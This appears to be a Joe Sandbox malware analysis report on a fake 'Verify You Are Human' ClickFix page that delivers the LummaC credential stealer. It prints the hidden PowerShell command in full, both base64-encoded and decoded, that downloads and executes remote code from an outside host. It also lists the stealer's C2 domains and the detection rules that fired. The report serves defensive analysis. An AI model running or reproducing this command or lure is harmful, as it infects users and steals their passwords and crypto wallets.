Edit tour

Windows Analysis Report
https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html

Overview

General Information

Sample URL:	https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html
Analysis ID:	1572316
Infos:

Detection

CAPTCHA Scam ClickFix, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detect drive by download via clipboard copy & paste

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

Yara detected LummaC Stealer

Yara detected Powershell decode and execute

AI detected suspicious Javascript

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Phishing site or detected (based on various text indicators)

Powershell drops PE file

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTML page contains hidden javascript code

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7080 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1964,i,13921520401259098976,9697674762197469750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

powershell.exe (PID: 7580 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DrWindows.exe (PID: 7464 cmdline: "C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe" MD5: 444F7C38106905ABAD5897DA1C0B466A)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["dwell-exclaim.biz", "print-vexer.biz", "impend-differ.biz", "dare-curbys.biz", "covery-mover.biz", "se-blurry.biz", "youngsweays.my", "zinc-sneark.biz", "formy-spill.biz"], "Build id": "yJEcaG--singl2"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_132	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4b9fb:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x4ef91:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: DrWindows.exe PID: 7464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DrWindows.exe PID: 7464	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7580.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_7580.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x122109f:$b1: ::WriteAllBytes( 0x87:$b2: ::FromBase64String( 0x12210d1:$b2: ::FromBase64String( 0x6d:$b3: ::UTF8.GetString( 0x1221067:$b3: ::UTF8.GetString( 0xb96e:$s1: -join 0x511a:$s4: += 0x51dc:$s4: += 0x9403:$s4: += 0xb520:$s4: += 0xb80a:$s4: += 0xb950:$s4: += 0x122e1d1:$s4: += 0x122e2d5:$s4: += 0x1231731:$s4: += 0x1231e11:$s4: += 0x12322c7:$s4: += 0x123231c:$s4: += 0x1232590:$s4: += 0x12325bf:$s4: += 0x1232b07:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex", CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4552, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7580, TargetFilename: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex", CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4552, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex", ProcessId: 7580, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T12:49:36.111572+0100	2028371	3	Unknown Traffic	192.168.2.17	49738	104.21.80.1	443	TCP
2024-12-10T12:49:39.408659+0100	2028371	3	Unknown Traffic	192.168.2.17	49739	104.21.80.1	443	TCP
2024-12-10T12:49:43.412169+0100	2028371	3	Unknown Traffic	192.168.2.17	49742	104.21.80.1	443	TCP
2024-12-10T12:49:47.898023+0100	2028371	3	Unknown Traffic	192.168.2.17	49743	104.21.80.1	443	TCP
2024-12-10T12:49:51.747565+0100	2028371	3	Unknown Traffic	192.168.2.17	49744	104.21.80.1	443	TCP
2024-12-10T12:49:55.348117+0100	2028371	3	Unknown Traffic	192.168.2.17	49745	104.21.80.1	443	TCP
2024-12-10T12:49:59.356437+0100	2028371	3	Unknown Traffic	192.168.2.17	49746	104.21.80.1	443	TCP
2024-12-10T12:50:01.767984+0100	2028371	3	Unknown Traffic	192.168.2.17	49747	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T12:49:37.338441+0100	2054653	1	A Network Trojan was detected	192.168.2.17	49738	104.21.80.1	443	TCP
2024-12-10T12:49:40.161945+0100	2054653	1	A Network Trojan was detected	192.168.2.17	49739	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T12:49:37.338441+0100	2049836	1	A Network Trojan was detected	192.168.2.17	49738	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T12:49:40.161945+0100	2049812	1	A Network Trojan was detected	192.168.2.17	49739	104.21.80.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T12:49:56.367501+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.17	49745	104.21.80.1	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T12:49:59.359967+0100	2843864	1	A Network Trojan was detected	192.168.2.17	49746	104.21.80.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://asgbucket.oss-ap-southeast-3.aliyuncs.com/class/initiate/JidW3mE7.txt

Avira URL Cloud: Label: malware

Found malware configuration

Source: DrWindows.exe.7464.23.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["dwell-exclaim.biz", "print-vexer.biz", "impend-differ.biz", "dare-curbys.biz", "covery-mover.biz", "se-blurry.biz", "youngsweays.my", "zinc-sneark.biz", "formy-spill.biz"], "Build id": "yJEcaG--singl2"}

Sample uses string decryption to hide its real strings

Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: print-vexer.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: dare-curbys.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: covery-mover.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: formy-spill.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: zinc-sneark.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: se-blurry.biz
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: youngsweays.my
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp	String decryptor: yJEcaG--singl2

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_132, type: DROPPED

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv00... Extremely high-risk code that contains a PowerShell command encoded in Base64 which downloads and executes content from an untrusted domain (aliyuncs.com). The script attempts to copy malicious code to clipboard and mask its behavior behind a fake reCAPTCHA popup. Shows clear malicious intent with code execution capabilities and obfuscation techniques.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 1.0	OCR Text: Verify You Are Human Please verify that you are a human to continue. I'm not a robot
Source: Chrome DOM: 1.1	OCR Text: Verify You Are Human Please verify that you are a human to continue. I'm nat a robat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter

Source: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html

HTTP Parser: Base64 decoded: iex (iwr 'https://asgbucket.oss-ap-southeast-3.aliyuncs.com/class/initiate/JidW3mE7.txt' -UseBasicParsing).Content

Source: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html	HTTP Parser: No favicon
Source: https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 47.254.218.16:443 -> 192.168.2.17:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.17:49746 version: TLS 1.2

Source:	Binary string: user32.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.0000000000505000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr
Source:	Binary string: test.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr
Source:	Binary string: ntdll.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.0000000000505000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr
Source:	Binary string: NIST IHDRPatternPsion Serie 3 Bitmap filesrisunimSSI: Data type is not supported!Psion Serie 5 Bitmap filetest.pdbvIMGPalm Pilot Bitmap file{ source: DrWindows.exe, 00000017.00000003.1867935920.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr
Source:	Binary string: MFC42.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002BDC000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.000000000040A000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr
Source:	Binary string: ntdll.pdbu source: DrWindows.exe.12.dr
Source:	Binary string: D:\Pierre\viewer\XnView\project\Win32_Release\XnViewClassic\xnview.pdb source: DrWindows.exe.12.dr

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov ebx, eax	23_2_0240727F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov ebp, eax	23_2_0240727F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	23_2_0240C2CF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	23_2_024172EC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	23_2_0242E046
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [esi], al	23_2_0242E046
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	23_2_0242E046
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	23_2_0242E046
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov word ptr [eax], cx	23_2_0242A05F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp al, 2Eh	23_2_024280EE
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov word ptr [eax], cx	23_2_02422086
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov word ptr [ecx], dx	23_2_02422086
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	23_2_0242B196
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	23_2_0243F65F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov edx, ecx	23_2_0240B62F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [edx], bl	23_2_0240E7C4
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [eax], cl	23_2_0241744B
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	23_2_0242C43F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	23_2_024044DF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	23_2_0243848F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	23_2_0242755F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	23_2_024274C1
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	23_2_0241B57F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	23_2_0243F53F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov edx, ecx	23_2_0241EA01
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	23_2_02427ADF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	23_2_0241697B
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	23_2_02417B38
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov ecx, eax	23_2_02423BDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	23_2_0240DBE3
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	23_2_02426B9F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov word ptr [eax], cx	23_2_0242384F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	23_2_0241E810
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov word ptr [eax], dx	23_2_02419831
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	23_2_02418833
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then add ebx, 03h	23_2_0242A8CC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	23_2_024278EC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	23_2_0242D942
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	23_2_0242D949
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov edi, eax	23_2_02418919
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	23_2_0243F91F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	23_2_0242B9CF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [esi], cl	23_2_0242E9F4
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [esi], cl	23_2_0242E9F4
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov byte ptr [ebx], al	23_2_0242CE2A
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	23_2_02435F5F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	23_2_02428FC2
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	23_2_0243FFFF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	23_2_0242BF9F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov ecx, edx	23_2_02416C55
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	23_2_02418C28
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	23_2_0242AC3F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then mov edx, ebx	23_2_0242AC3F
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then push eax	23_2_0240DCDD
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx ebx, bx	23_2_02426CF3
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	23_2_02408DDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	23_2_02408DDF
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 4x nop then jmp eax	23_2_0242CDE4

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.17:49739 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.17:49739 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.17:49738 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.17:49738 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.17:49745 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.17:49746 -> 104.21.80.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: youngsweays.my
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: formy-spill.biz

